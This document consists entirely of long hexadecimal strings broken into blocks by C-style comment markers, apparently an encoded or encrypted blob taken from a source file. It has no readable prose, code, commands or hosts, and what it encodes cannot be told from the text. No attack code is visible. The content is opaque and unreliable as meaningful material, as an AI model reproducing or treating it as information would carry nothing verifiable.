20a584aa0daebeb53fe38e13af9187c8bf4d03d4b660b8f2452baf616ffb5d76ba2281d441e3371b72586f13b9ae6f227c7a9e5a4e7d1821e51d9cc5abf212b70ba4f590060ae4d168a976228628cf14afa164235e7478bdffbea9b1192a3cbf600c848e2f88537f2a9f2163299109b1bbeefeb8e6678208932415565b513222ae32165da9a10d15c99a64d0b32a5196ea056122c6ac668fd180b1a93b39995c91b80fcc46b96a1869263621931cf006b0e5453e311bd373f20b360d9b261b12dcb05a766bca408a5181e1391734e76ef7912113e773e70ca18150a157288574aefbb250ce21ee0030af680190bf1ba91f42f8786e07ab92f73e5b738a5a45dcfb3dcbd57993df0f52f2890d7d8790f57e2e3fd464a17ac76197ca60bef349136e9936ce180c1a9272376f2f0bb5ae23c8491e94a6a52ea7e2a067d76226d62c7741e649728266fd8a307eb9bb8245cfb366397e6ba5cb41c9a468fda239805186f4ff37474c5ed4921198626aa5051e0cef27701e480a4c1fb0981045dfe5120d47e93b892ced5e981ec5fb503a9ebd6d1d58c2bc107e19733ce39e50ced2a3e34b31ca242b36169a35e8eb5e23419f2ffdc50ede3676b3e96834fcdf8741c36eb485b4414eed09768e61c631d88e1f0075a46b7aee5bc2c174e59eebd48d76e98331c0f4cf1fae7c86b3523bdb9485d29ed82a071872ddef4a98a4169b30228df900fb2ae9296e91264b420bfb2ca*/
/*155a0007fbd8a3e97fe43935ffc28331ab0ba73c0282b73c3555ff00b825165cb5ae000f697b5e164af6e52f9c83762194fa4b4aea11b8f05ba99e7f93ba23786a0be6076c792f3de28ea583af4f949183873b818ac4a1796e6ae7a8fa6cf4ae2674490156b65c65af6b59a2da729ab700ff0023ba92771ab2d0a3be569187a35fc943b7e44ddfefda0d00f60a03fa5b80a24bef7afb1b27e70dcfe66e24116a55b69ad4c22abbfa6cf1e300877a26d953af163d5d517cfc20ac21440ced2a8e418dc78d315dfa1191ba2b8c8551427a9e25ebc80cbe3149f2c1ca492f83ed34c56b68806734206049f75c90c190adcedeb7cacea441c6aa0c7e3be5a1907320bb587515abe772143a532a29053fb51e1a965d7d1587ea949646ab1155d9101d7267b8b19b16685cdcb5cf3b34d2c018673fbc26994da41ff17dbab4f4d81f281ce99b6059e1a5390651f45434d3a174c973a3a67005c51f0e3f10f1767600e08eae43801e60ad62f03e370165390110870a1d198e7a50e47f6c2974c6ea7f9df63a32781cfe27de27875dabe850763688d3c459107f747c094b6cfaacf22d7c37f899c54f6e8468bf3ad794263e44c9e45489606962cd51491257408c947941b198ff954e8498626b3fe1a528816a20f1455cc181d4b42a18dd234bfb35bbe65b93482b888b303ba0f58b90e760f36127f5e631386df5952a10d561eff02275a8db13b5b650d681091dc52b2575ae61da04d376493336a0691255562e7e35941bee93f4262c8c8e3a36ac99a65d68cc9e62be6974a5324f79d353dc578c7559c2f5493301a1511514d0727a67e182545003b645867d5ec244ed10486eaade848a7c687ecdcf1e69f7b42cbcbb06b6f9ee4cb700194123893d0118a72e25ba1a8a4c693ed77068fb0918babae6e8f72b2fcfaa9c4956cf55bc9a9054e3845bfcdde6edc6736d1a92ceb23cdd4f8f7f32c67149129ebbc4b165211a657dcda799cf54fcb1600e5938db29c4cd5f4c1e81fb675f0cbec36e867368c79cfbc55eb5c6695e3ffa66ff8201a50d8e992935997d54d7884807e9598d4a8e5343f64f847cb93a72b83fd860296faf547eff4b321036c643b7fac7cb4f1fa76237527f75f4d37651764925cfc0f5b5a3e12281f6ce1a5a3212c76ca5af02b644ba57d13d8d0159ea38039a2e4156e89eadcca2c1e24963dda7094dfac01356f4949618bce1a9b3d27123de1ecaad00eb0867bd45e2a6c30e667c2efe5828443f7dd15f286b7804a2473225cb444334c4d3aa0c500c662f71e42bf3a8ffbea60ff4c996ab7ed1297799e86c4b0e4dd87825ecb0444ea4389dae88efdaf290cf77da8a934c88482f2a813953a69112c8dbc84cf73421b9bfa8f2d85a51d5a09d009837859c0e8618ef51c191b07de8eb1f2f42bc9f5f590a2446642c29fe46165352c100a280131a44cd45057a283724f0ef201f2619e4a8c685ecf9c44bac3ad2dea3353ff6aab765f583f4adfe3709530b866a8a22cb5cffe1e0c89f03780fae724ef50dcd2e283a36b55b53496ccc57681ec15ecbe68fe729a17cd23821fe3a8f35e9f9c1733ba19d46d9039fdb7a11bb5a513bd1f83d90be3fe41d7d77993de654deb90f8c4bd89e33b269c1d561ce04d1a976a181496e79543d5133a98bfe646f84db53da77e04d4be62782072e1668af80853d31ea0c41b315ca39e3ddf0572f39e81917c8cbd1d7bf3120e217ba80c0af6676444290863c79a1832649ec4b836ebfbb8708be8217d161eeeafb567b97d2bd29af6dca95f0833d110ff309c17cd97ed37e1b2f742d44efdf9c91e600ab00bbcfd442d7ecd23a38ac894e4a953c654712919104c8cc5dbe8045faaeedcd86222b72d964881c94efa8cac56846589f76125e63cfd48badf431ad0f28dd276a45c7db6efc4d75ef54fe14730de13e0e4bf1b16ffaa9296d34b6c34ee798138a5377de6ffdeec1e9e3c8c58e22e6f1cff046e04b035453e5282f25fbeac393d0e1f0a41401889135370b9e630fb73c57937a4356f20d940cf62e5a0243b872c157abc2b3887f3c5133ff5796d63e07831dff03a51d9c0b3abbcc563641b68261a6acfd75bcfd373252acdb15cd36fbc42dcfa14f19dd3c6f34ace65dc7ee6964faa80d863622b5da20fb0c8d9078958bc219298419a1a57f00b8d2a66f5b0a83a4d7561f0f727d9eda92df2105e9285b651eee01e963304e0b2d93abd37f17b95d47b0d6f736f537c21d713b898337e14482fa9777ab633ff3ab2996836b597370c01f90972d4f34de12ad6cd82d6b3153f562374a5b619f094ddd9f3bc0bfdb725f5f358017558e70b212d10e8614af48439dd999ba624b271bd1f12cc7b53f88737a4a02a6cfeea0d48c93cdbdc5626df329f7fb0e7b3fe48dfd535d779d8f8f5e6dcff71ff805b5f619fdf853ebc6956476f9c3bd5b1739a17ad0a6a8319fd9c14065e9a5fcc0bfc4041ff6b5c558d5cca79cdc2b9532161ce143ef06bfe7bfc5fa47a2cdf8cbefbfed63da729a039ee3295c59d947b25eabbcf5d29a916147135d20d5834bd9c29a6c02abf7f089d1163ec53285e615018b79d2ade5276542b4f589b8b82a853bbf7ae53571bf640c060f96c8de44a0299e8bd440a9320da24e53b7b063c80076eafa5cc92ed4f937b137909ad21acc26c5cfc1531dfd2fc39d3c9c69f5395665004619a364438d060b04262abede4559034dc5bc5dcd4bde8937d738ee4db3d584f9ffef4e243a83bb34a6e4f1783231201b0ef8eeed52c68466d3f2ef58610b3d005484b909f16b5813f5a0e0b2e0e6d888c318012a5944*/
/*a71d39f3702362f314f023f53e0e2a2e1b1631402544bf12c332fdbd988b8acab68b4769259f1f6278bfbf5dad2f7c3b5adbff76135cb3f2f0704c2ec05993c867db89360c7237999473142ea6e56918df328b3969f33ff2bddb32e0bd804b2d3356ec14dcb95c0a1ff9c65bf8147951b36ff496160220c9a5ec11fb56995a6f50127a8767635fbf6ac9322a7af2d1c6b4aa6e92bca15ae8070471d6549a433cf1a4b6f2623460d3c6c820e5dbe9ca13ca68cb58fca22b8fe88f69b86fd6f225978775a1a9185a83e42fa74dac7c45eb7ba7a78ddb94d7ebc4569842f822e7cec669241127e7993873f9a858b5073a1a7965cc6de36a3249705cada431e8111825507149313e3baea796dd5701c744e222267149d4bd4ea9aab58c2e0773aba0b37deee5d273d95ffa1c680cdc791a59e72b57534700a9b2f76d0da87bc14efed7875059d49aec9d5eb41c44d8eefbfc0af1709b1e8f90e7cbe51f7d4062d3de39d26f6b32933f967417af04102154d726f836fc8b2de4102a271a739a89eb8ff0f09fa2af2655cbdcbfe330f76fc415ea27306973e4a8606279c2c73fa62750bfbe900a8d99719df523d314059f1f4836a051fe45188b532aa61f94fd37bd7eda9332411f217bacb39eda22886b0ccebc143fcdff4cebe2d8b99dadcac00ce4b431002a9e0446076d80dc74ab34c8689b48fa99d41ec93f87f34fb451d5e2c44af12dd8e5f4c89b20ba4b951ce1313842913a5f7a855ba1806555651aa4b26529f66777a6036672470bb97a8dda7a5baf4114e9fd3c2250b1b64c728b8d3ee5b9cdf6ed6770e39f9374b8084c1cc48212e393b97136a9cd556187c4e85a78c9ecaa11995aeaca44be1f0c8c1b7afff5f7aa4ff16d5e98949d0dc115186cc0c6892b216f8ebd06226f364737af2bdff10fbd106c7388363d6b370ddab4dee629e0c77a023e5ffaf1039669a316994e792fc466a6f245e93e84caea60904d04e376e5f42042f9e9f0cdcda3480ce3467ffc349c08bbc2350697e76091a50152bb3a668c24f11d04f384e44c612110f7087c9f0754f7ca0d793b9b9ca5966f7fa6d864410563788c25731645d761cde122c4354b2d4bcb30f71a22c1778f86b5171b80ac1a7db39a6c5d37a3e1c3cfa867f846b2e89fadd3d9488b8f33b028f26ccf4e365fa1bce0ea5b2215748510f1f894ef6baa0a73ba05cd9f57b52ad64caa90f5680fdb9d112b40c282f98190be77ab404ced10067296f7f88059411701bbabca2450b8ce7dedda3444d0ffeaf5c93c5b8451d6adfe218b9596f3953563d0bc7d070fc208bf027919e621cc021b6ea519a4e240fdff0ca635d6405d30bc65b91427f9ebe699da6b6bca1688138d5a8194c8828a35d69bd5d80675755fc42bb5657864c5b5c2cdee86a0e70aaa176dac206e1c34042e2fc44b2d3f6100581c3918b28dc8cab0918c93f477e28fc3dd17ce5d169e3f7fa61ef87555c6a77626eb0df9fcaa975e955a4bdb7e4ea4ebaafecff4f8d668d7becf970d3c4a46e4358750d1a7261233a32cc843f46bf5b92f1b1037af44d5d0eadad6ad4b38010d39ad5c107086c5ff1fdd3c82837d3b59e7f007107f000d17d573cf1e47657f1fc8ad43356d39f37d79db1e526cd0fe1ad2d58f3b76827fe48f2b9aa2abc7f15323265d69e04c3fcfdd5a4fbc5f30eff3e9655951ce073e542060ca2db0b65ba639a6d8d821cfc76af35ef8d652113d043534c17028e2708e1ab9cec9754e82bd92072731983fcb39d0692d16762307e03060c184fc518510b56eeca27c32296e3bfaea8047c964cd101082bbbf298cceb84977fe7382c5087238a48242a3896f440edb16ebc853191098ac9053c1c0514403612d075a858d40ea70bc502b78ea713bc619ec422db503fa664a2ad2a64eb0f23de7ac87313d78477d66fafca3d5b08a5f6b4472d032ea93de6b603b315d717b4295ca1c37fedab487057faad82d16745a897bd413175ec81083bea52774d9fb7b94bd4cfada1038479bca10e86ed5e56557a07594961f0088c1b27f21820317febf71a9a5700c88b72b41d71b5a8c2b24a4b4eca3a898945cd8c207770160821716e148ddab969c8a059cdffe03a7af27027e4f8eb1ae95e9172b4d487ca57d9067f12e8bea69481b85f70952d33f5f1fa5a3139dbce7fc4a77363f4c7dfad6304343332709e2a4089d5c9e38a4aca819eb99b72c8010ec637011fb13bb86d027a8b9804fe8b2f19421e2fa9495fc708254480beda9411f15cc07448670b04eaed87aa662ee6786a2606e4e5993c8be1b82f0478c7a63a3c8903f85132458501db19297a6edeaf04462e88a51951dc05e0b2fccd163101c8c293b97c66a5a94f9705a021c5308670f2864194e4916fe9956241d80e9e564587a0b101491643b23a6821f2d7f7f90cba41adca88de009b3faafd139d522f0c7009208f08b81459db7dcb15c8bbd43841cd6de9168af7c023c8fab30bb30e00fada485debca0ef55f7e8932df0a0a2d3b67cd55c54d27f834af557f1d7310538f17a276bfaa143b6d7a009762c19404b443f0a8709a11187eedb3337bc9dc5fcc9908c7832df213880425b14d64c7fd93f9c85842f1a39a200dd8f7aae4f21ba4e7c1277126203c63d7916ef3cc7583cea5ee8fa7f5a303a79c642190574f9a0aeeb323d88ced39c9dea8c4f79ff64051be00be86069c9a4e1278904f22fc273edaf5e64f8c1d4afb7288fd7449f7a60ed3ddc36a8f6f780d68ffc4865e13679a3cf2b1016ead6776eb6acb8a7f6909c895e654b9410d7c7182534beac8a0bffef0a4d4a4b36*/
/*12555c67a0f53646c2ba9c20e19448f789f0d46e4c1bb66ef5b0f004e72bdf4005cfc9743bb0af9836647997bcd10ba20be19bfa8b28486906a2c910d64d7e67d82bef5ed21ee603dc7bb9a471a6c9ee878f70c895cc16c472b49f47f2896b3ab2ec3f47112e6db286cca686c5019387f84a437ad6356dc024d1208fb8ba9cc8610d9bf3665dc236d9d4251291bc71749fce3ba5f697725f90d6c4535144171043ec17ce74596682f0b0af9719aa5b9818ccdbb56337cdb0f7c303382113af7765a447a1f89a7985490eac210ca783adb6e6b50e2401a39ccc36ab77e5c21e7709cfb08f76c565023a7ce6d7baf951c7508c7014b73296b472ef9927324b9e9aa88ce02d66f714f4714d7c2780cd3091aa60442198937942da9e44a7f4a606259e0bfa1e8e194aba829e41d1ee470757873950a2ac2f9bf4d101bb04644cfa4f34241cb21bb9728c5540d1c8c1341789e7f81b57b72a1035157b0fb6cdbcf8586ee27c24a522625f77e81f340e2c82e2dac287de0ccbdb118506201d0ae3bc308aa6dabbde1138aee52c708367f41df9b281ac78d1cc9e7681bd929d996c196ebdb209490d9807dc24b9065bdd8f5e933cb4503d02dbf319512b2fb9b4e6132dbc50f48145ab38ae776aeac787f23242a7e6d3ea69372bd78f9465d054ab576da999b72e5a8bdb5803783a17a1f13a63e71e58cef277eb8f1f9586a8946a8acf596fec09a06b3ac4f283ff42949e33ebec93a625a13949ed481ca4df4c1308fc9a97e877777a993e86f8548348d95241ef6ed7f0ded8a949f99f4226d0fe11e175530c4b598ecba493ee1c8fd357fa9efdfd2cd8cff52723d581da01d96b4df823ee8a94fba818ffd3b53ea4cc0c7aa4509d9f5e5ba5cc334b13e4d543fe42e52c6f10a956dc67ea98a393bc1274cfaeaec74c37e7af4e797321f491313e5bcb48a9d9fd8dd5ca6d8a40c4170de9c1b154c0cca3afb6db917a4b1336c38b370a3a042d5383fc59ec07740574da2d4b8767b896fd2cb9534eebdf9c6220c1907375c79b8e237a41f9d259fc17b4d008600cd1c8f6529404c6e006a4b7ea1d6bd3d758384ef5133ed7a0cf162ce8efa2461120227613b061d5c72032fc6463ce77b526bc06b270ac0bee46f6d5eeceed8fa9deb0b5433675677af026c0f29b6c68a2714350c3f9e2bca1fdb45c70da18eb88ae8dbb8c86594e627cc33d86d3b34c66eb38e19fbe18572febdc3b0fcd63d980e8c564d2200ec7ca336933e29d3a8a7edf569bb224fccc3c346bf31d021aa1c5b125445e6e1b757b023b9fdff8d784dfc9969d8b2c9e14e1696fda79c6fab6320b190459fa1f9c2301f5d21b070104ffb29db2b3ed8f01deb70b188f2e84fa291bfe4666c6e8dd6a9bd1d9e28f6db67284ce1c57e1736451eb4a9ee5836b6541932d2fe25fe5137069763df7146e9fd9b0c95a0d829fa2a365ebad2fe44d8ab03f5f2c976ce2812f1c26dc73b3f0fae78cf242539278cbbd42e977213503584293611b25924012072e6dd8a04a4529f3f1f3d1ff12aa7ac3f99439835c0a7568b58e2491ac143f22a53cb28f913fd0733f28392ca03747cd81e2a7b540d85eefa4ec5ee9beca2e204996de9afbd8b94fbb0da6e290bef3bbe3c29d1aec1df36240eda89441bf89da75ad10b78ece9c6742d5d89f2b8d76b572270169881fbde632a5bf0d767d8c5bffb224cec56bcc236fe65653fd49fbf334e73e4a1ba4151f5a8e7d578f564ee333a3410c81fee809f54552019037fc65dd770571a447a0d7502c1dd1bc9f321e35bc7e70cd5936ff59bfa356bae62cc7f6c89cd84c81ced52dfa39ee85c2b17a0c06ff9250d4f7d8f8d6049f768316139561fc80a8af2ab12f1777d973ec1573b77990d7e2c223f9b0deb2b9fc30ba25a1465ffe70d6243c7b62fd3b80d37f057bfe1848b4599fe5f94ac42251e92669a8b444d7ed6c3acabd64bbb825fc0484fef59bf62c32ca279f88652c73e247df760a64790d8d2babdb08bff9bde7799f7557073ac1b47d7d57abb64d95a607843db30fa624959200d6eeb5121ae3b5e2d507dafbc486eb96fe2bd57ce68916853cfb0f2ee1b5d003defd0eee0218608ded81492d2c4277c445fa5168d1c9c5ad988c47cbada731734e796b2017198107802825c73c8bc6d04bcae4d6835382941dc5dc140d615f1aaaa612b1e43e0bc92197291bba35e9c91b19d2bcb91458154c349056fc62b4cf7c8dadda7b79198e565ddf92098374a7a2d743bb3cc726c669613ce8f3231a6e59640092b4f3e1267e52c138b65775e96fd2fc1142a2cca4180554793d17b246ee752a484171f61228ece378ebb9d7702c1655a81f3cde924afcc2f6b07e6f25600d2e62e4b57c3c2b67e7065315cfc8f6402509c8fa945f7a3f87fd5684d39320248dcb69a18bf133a371d9f8e45ed3196b3259dcd7260dd5fdc056c1bc520dcbdeb19d79da4c7c8e8e7bb8d6d4dd6e27c5f9051f9bc830811e3bfa9adab1ab0cba89c2574dd14131a7c00f97cf49281c3e879b7713ad161b878a2fa8628f419fa30fc4835c6610489dfdbd46332c1e807a5dba7873ec7a0ea0921c88372c77304f3662c60c3c545628d4792ffe87784bb788c7569e473cdce1188b95bef675820f467b7e818c23a4e316a0851ceb6c4d5a02fd2026da09cf896c56b30d555c5fbaeb0193cb720f4f158f712618dd7961a97def22a54645fce1fcfea72cc2dc0f051036c3265ec65a0d543ce1cde7776170bc06e0f392c155cf3b634066b4b740c42ffd054582f648ad4c00f6f36dcbc0ebdac23c95312e278a879917daeb*/
/*161a40b13384e98ffeff12123a02b474166f69273cb78f12228a23bffd27843dbdd63f870cd6216eacb009337c1149b389c11f9b03b005722052b85a04fba7ae7e59e2657288dedfe5471a94fc99f1b978586500e6f252a5a36b17d79bf39e06dbb74d4280b047ebcf2ca24c65553d34a358fdf40961d987c1a7f6315cf82ad9559a44126549665d2de78920d1686662b3b75a9e30810461f78c94037772d0f01157c1786cee6c362ab36c9c93774d24de134a84220f8d50662553d2d5384ac3c9b2785b459192fba9bb9559606acd979df6aeca9900dab78bd8f609f1f34ac94b9a6925967f6ad424c0c3bb390c68ee80a8490cc3bad95683c2b106f4145dae7f021e840460d31a76d5544ff53ab075f2e7397c9afa243eba097d33d14b2eb214d10d0fc1cb96cb111c419ca294aa783e269249482e38742361682a84ad8dfa54fa0bd98875a2c8ee99a03f301002a1d357806ae1eb513c6fe41cd59d2218c627a517b36afbe952b6d7f6b49d2ffe7db2ead536ff5e6e4c3849e7f46e198d21e0e86ef8dc8fd779c15023928390bd745196717c8b4eac890783d699209528db57a8f6e0bca976c9c7320d3431524238cf8f40fa9957cebdccee4aa487b83e039c1c20b8d083e6ab720a241027e26f94bdb94cf19e9593912b809bbb5f8c9f714aab05d8116c28cf58bea6a194d144413ad28d8fa917c333bccb61a0807c4817f66b1b5243e58cde9815e8641510af460b158e77141e888ff1a1832b2d80eedaaca9fa5501bf6f10edce0f216095334a22598169e0369352cae5df0404bc20ed90bf9dd55f87a9ee93499d9398698aaa389df6d6547f2c9748d22c775a9e1b46e743dbe5e3c03afb59c578831f4844e979d6fb92b2e383708ebfabf5e5c50a0866c93ffbf01433952a585635648db6b7f63948ac4c3f465c8f52dd48ead78b8a1404f064103f052d87bf37a84dee578b96e7d9fd7b3b6acb9f73a11493975d9bc4f2514795e493f78e8a809f1f14752b02de674cf57adeb00e47da48027aab8f63ebdb3d4af5f72b1571d0ac64a55608c59de6ef3a9c0b9212116e505b5ebbca59b5b81527a3a1362725248ed43a011fda45db92a71b448368703f06e22916502dafdc16d5588511b9196790f847e5b9de230af1eb8874710fcbb62c2aef57e0e74161a4c69c00a577b7a2d882d1fc6d904fc7834bcbf3ac993f8a559ac43d47fdcc0c77ea0125575977a878b599a123bc5af2e4d812541468492388d3b992e70a60bec024297e36dbb4b9c87bc616879b58ea3f655c0503c12179f7f94ce0e1f3b1da77d284cc62694b1e71bce61e6784302553261d334a9de6d4a91d1ad470a49a2e774daa902f32d675aa44373fa9c810f830859d3a377c64f4350d2ec3044fc091af3b60456cacd76c0d113edbe35953155dda0b5f3dced668802795cc22c777361d31d8cb09a5172126337717133d687eea575cf68ec89a6e6f22685e02cf167db4bfbb886de1dfbf0e0d0d9092f166be34d3e99e4de2c0d4ec63d2831c9d5fe9d3a678842addf756bcdde298b3f97bc044e97a56268d806f17be09b9e814e58c016d798962d990a35df30cb328c5c4d256be8338bd91fcd1ea258676be4587b1966f72700fc2c117b8373ed4c436b6c0d9298152d7d3cb09dec7ced8416d8e59a192a75025bff8cfe9bc228d22a7f0830c72e895e9209f6775c75365777a15879b1b8a4d1e815992c6107d84a321c3bfeea58f0d41e0b110293488e993937de2fed68dbc31c2ce789bdb201f15fb35515d29b3ffcdc8a17c8a8ff95448310cd4be065c26b7c9b010f3c09626ab022345a746824519ab53f0781e76fc93c599190768d6e3fd50978cca55c6cd9a907304a2bb4d84762dcf637f0334867e19dcbc6661aea5f1551f8eaddb5a040bc236d8ff7907f2223251b75e94ecf18c16511e109637db7dc8c8b86727287be68bd4c14733d99819c4817129e15b56f2be905c06834901aaddc7ab128881b490149ab677bda434e821753277b0113c7a02b81acccaa91c78a38e70eab7664f23e154c6d6c88c7b5adb3e7bd30117710a0f7f692cdffc1ee1784c05a09544fe5c7dbd8f473ca0a9229fe96da11fb35607ffc33645f58187f552e980126f8019731f87d80ccb5c1acaf7dcab5974da32651af98c4c9f3510950da748dc3be758cb6ad8e6a1c2985a13cb7cf708754136e9e70bc8ef4834780b21694461f73e45321c53a448b4bf423301f3c06458a566aadaa65ce1ca52693d61543cd33433c690bc66546ef8a3441d87d56a4db372b4d266607209256a8cf9ecb8de51cca7b72accfd94e31dca640dcb2cbff721038a5f408d54f17bfd63c8341fbf76344a1ee0750964bfac3ff85c803c77c908c858082b7955e8f52c646c27f6124f2221567e4a2f34c2af6ddcdb5ba4414f85b33e69c0fa0da00ae643860ce2b61111c00c3dbfb8d9fb8faf8ec8defcb466d5bdd6440f9086a00517711602f5918fbeafbe64bce07a17a7cbd8731af7d4c316651a563e8234dc9473edf107fa93ccf03da28029d4222f1833dc6f27c68cba9d64aeca5d8327d5d30c151e8dcfe7b5ffd373f57b0d82a5f075831f25c943e1de3ba198d1931a653cc859ebc137a871e49a5b6f6fe30e783bb4eb6dd9c9d29b4ff6e1a2371397996c838a3e6af335ba0863c02412ee449abeece78e23c38b47a3423137b44e9a25c6e75ad6644f251cb249fd55e1a2c00b522f25d8761d9a0b8c64404b6d80ae92a8fe0a775644572a692ef5cc3b9cec23ad12664781b443c08a7ef96d003b158d954e0528860c93656b377dc5*/
/*ae463fb5c4df4e88d9bf5f11f6d1bba9ccdcde689b0f883e37e1d983e743b478ddfa204657a4b653d79a5ed73cb42386c31badf220b5428bf0b6b1758fe67bcccae0fe3c98bcc2f667dd86ad9aa5016ebba5db7b8e36c13acdb373cdbfc9d75b856332eff743a0c6007c8dd95d817cf773663604aac5cad5ac43089ed11c6ec09cd00ac9f4fc47a3f21f226ebcac82eda5190517cbbcd1ffc832910bb3d046da153efa1f5aa9319d10236586f164044415699e173713423d9e37f3f0832255be5018afa90a7c01252fa5155d9bcafd00f14dc1b85a38d23850be252906b392696a0e9eef55cb51c98145e2c32832c2a6770a6616794f96e5c844e38cb679ee783553d2f87b54af83f7c4a5bda2c2dde226f7a60226bf791425f6dbbc45a03dabcca4fdabade34603361f5ad7b635577aa8e10f44e4e85f698699fec39eab8915b54379860bebf3501d2d23d726140eef3410e289b6488750225d5cfa55cc0483fbf9316d98709cded10fcb2e69679c91dbda06d28d5a95e9ec7bb09e9522ee20a14ed1a693c8042e0d57bad96ff7dac664bda178270dd24ca8fc3b24a85b2ff0178ec360958697c61732fd44e75a16d3663c9c5b4f915b237ba7f4319dad929d3d19b892dadba1ad979a9a75b65e32f233a280bd7e3ba670fa6bafe4862acf2e6b8ed387f785566f95e01553ea9ac2acf11b7e423f43cf757843e1a4f02c99deddd9e0aa9a416d73e626901497fea0d7d8bc53e91610c9ea9c9606374d4f3a0fd8fea4b178b82c7293f5944bc3135490f52a57018e8b4ca264fef936232038a3fa4a29d2d333007b2eec298c7ada2ddc5fe9ad0bb3e602260809444d0f1bc79aa575f7aac14267b3eb84be9690e0707247a8f7c52e9ea7d0fdc8a3f066f584bb67b35e854ea8f0acce2bd4483f771ca2066843b1a39713a73868028410a5ab57c5cc87161f60924ca3812377fb20b32726ee10ab0349afe38de3cf0a735706167f1a65ef3efaa4235aa4fefb01889de5a21032552c097ed712479b7efce73218ef0c74bb23d97cf5ada84bb0f7e480446dbf723f9077344f6759506780e6ef0f9f6ed9eac048cb7475df72478f42e073d0af0f7a24d863366e15aab8bf75db3d61cb897c7b47298bbbb88dd5c139be391f7d9655d026cf0f51b245a57a50e1cbd92af906ac20ad5de51047e8af4165f87bfa45a94aaddfe403631bcd318c2959910b47d73e1a51f755ab17b249e4d7846520f067cea5044d9bd231e84c717600693d7397ff5e8485daf57aff23f00508817c5cb9d069d1359abfeae68d619ef26042e97dd0feb9bb77bcc2fa6f5f0b861807a405d290258d5db2de863c45e98233993ed0fe43bc523a280c9fe47ec1e8e489aa56a935277995cebd941fb3e99df50c3771098252fec6d8ade0a3ce61cbf99adba35643e37afa7e04ab79f217f02cb953b3030ea53b9e75983317cd84d8749e85662f56662c1b1c5ca084e2c92194aabefa5ea991326335b7020256829e17143010afa431a7cd14a261ebae9a4e8e896d95d7e9f222cd5069d9bd54b76b88fe8f8fb428f24e7d457c2274a28e17e9de1a8ec7dcdd39feaacab7bd61c28ea1345c6a4cd5ae87e9b1abea297247bcaca6cb5956e27eb9c6256245b32f4f4a0f3975443039891b8e203cc8c9c738d95b6fb0bea3e09e85d2844753588f171953a99304fe0377468bb05138be76af746005f4408eb979d63cf98c542634d7cc4be5a48637e8332d17d6e8cd0c2ac547da04d306bdd4924dc3ef27e8ce6a138b2665594c224b855c3bf190efd64ffce1a6cc8c4ffd1d328c6c77e90d44e693cf668a654381c785478f61bed4e4efd54c9ed755559038d7c827defd9dd0c286f07baa338bcb76ab9582fd03df18598a5388024dd48e41a151dfe024b076f0d2e8a14c833de2baa4b4a3e637ecd4318a01e2e57082c11b1d389631c16f21d79b66c817afd21ea6f67089bb7255428a9a24ab0e46c2b9ed9ebc81050d53f44192d1814d86b60e9e0cb490d82924fd7d833843a0599b307ca4bf84f92085cc3a985bf437ef3e06f7c5449956e3051a1ef722dd909de1e58abefdd1a6beb57ec14ef7fd49291a032c9554af2b2b54f1e6cd67c598e155df2088f5d99e32c01d07a6f090b88f765fc7d7e288b26301271bcdaad1f19d17bb8a677627a0d86ebb22557b9e9f07afc3bcbcd1e54635c425f2d9670d231aceb05c2e4daca16057ab18ef6693a7fc40a2fb57c9883391a7a599a0b007f000ad52bbe1e908d4ed3807db2490c6830b7f404a24ff1d094c3f4917545e4aa4c74c7940ffcaf18184f6beb419d8480a9c6e381f9c2f4b02d16925ab773296e37b9f3263f984f0cbf3af52ecd0a2a1b7ca45603ade22624f0cfb1264f955154f2f53a44208e5e43a841024f0d5b558d7566e1d003b34e13494e2bacad2ced0cd4ad5e0aac55331dc8191e64c3988f61a54f845355334061c3e06da4319b6e7d72708ebc5b2ceeef4c09fd7b18896bdac597ca4b847486aaa39a881d90ff4e1791d8a6b2f2d893183277e70887666edcd7cb648c4c18b06a1fddd623e7a80468a9c82e77adc3fd8820e1430612efe1d25538a94b1bc6040c275bdf7ec8ce37832b25451e3256b2e4aa4103eb755c9ab1433720314e945ce2c1134d15199e591b92a0f8db0bc26f66fb63ac388fe1a791148b2683bae154f86d7d1f84fad910739a3bab0683444d5a22072f13c6aa2cd8c9c093244294d48b72257edbccd5af786c5d599431b33b2819d9c191f6fe4fcd82ac517cf789b7b0522c5bc054b2050e6472f389e7356f7e3c9e3d73cc85f*/
/*b9d85bc0415cb44cf40acf3a157115d3f0cbbcdff0139308e1c48f7e573bd4e2c8378789bb6042260501bf221c637dfed637db6f91d8ea6b65e6d452afe956fd14d6ee2fcd08d4646b94f9d18d65826a55c585c03609694f00378601221ecff6d7312f138337d4dff08e26ba6a9068d37093d8484c6288e85f617c136d58cd57af2814ccc95b5cdcd3508f063616b6583e750922c8b6f2a08e1334343777f50e1c1e98f51b8b24728e0ef145198201165b412c49183115104150aa6a36cbeec70e1814ab1656e2a5914693af46f025e0010f05d76f641bb8263ae7bbe677303bbeea62e06c8ff616cb3311f5ffe65f58e1290d1a1e12a36811c803643249c0c49bad1d9562ae4978ecf0f7a79ff6c79bb6b0d325b12a5c0afad62a1f086b4c07c472fc65835f622810b671e5a5bdba3918b6ac786e465fd5b3ca6de41d9147bb48a8a08cd1db586e53637a8c828b26777cd3c3382a52d5b57290f55a70d6d7fc0c73cfaeff816043d555028cdb677564dc8937602e8f3abf87dc667b4fb0c2ac7dccf2e82f411ea41e901ae7a84305bc311224957c1c239054afb53c8f15bb4335ffe128484c583ca48d23930368cb84b1baaec420ec651fd2718bdde7a876c31f2da7c591c76bea81a73a5c2b204c02c343c76a96a053a7083800b95902ca2acfb5752ac68ece2e071226f5c5c3dcb51edbaf34d3cee972c7a20c195838f9b5297b925b3e62b384d011617a4fdf038a86891106d113602fe124bac0b37f1cede8e68432c5e04838cd3daa78b2de4929c36f6fe78f053fde5b6f54000e013fafb0deff301250b68c92567371ce9c51e1f825ad8734503df0d59b863fa2e256324c4964d4015e65db9bd45beb0dd998e33d6ac1dae1212b63f625db3113bd02091e1c9ba97a72b7dbe272e6c91d9b0bd4c552938f0fb4dc09ed466e1211531ae8bc2279d9b296e735d9f95f4e8977bfeef74fd325cd887ee0026985e44c775d8ec20b3fa2b78f61899373f578b89ede0f0a46a4fcf17395409a7b97e1f2625d62b78d50a7a73b09c31f46aad8ead0f1f2d518071181114c1550f543ae451f800130d219c912f68b53480f65dd1de97bb1e99375b2c0968b4e2224756df60bb30504d7d2c9bd4d4b0d485e61f1394e0d8a92744cbe62c3b3d5952206a6d0f47c1f1d0f32fa5a50a591fff5672d5dd415d6e62312ffbd022922779bc6b76096fe72ed238496f4884cc32bffd84210c65c2890b33f3368a66f277f502eb6252114aab63ea3520446dde1cf34bff578f7a9c336623be93e986911a0120ba2d3a9ed2822b859c840da7235804bdcf6cfaef8548fe6efa12ffa60cb7bc082d20e999daf29a132ce661d9b7b3e96c32bc98f818b2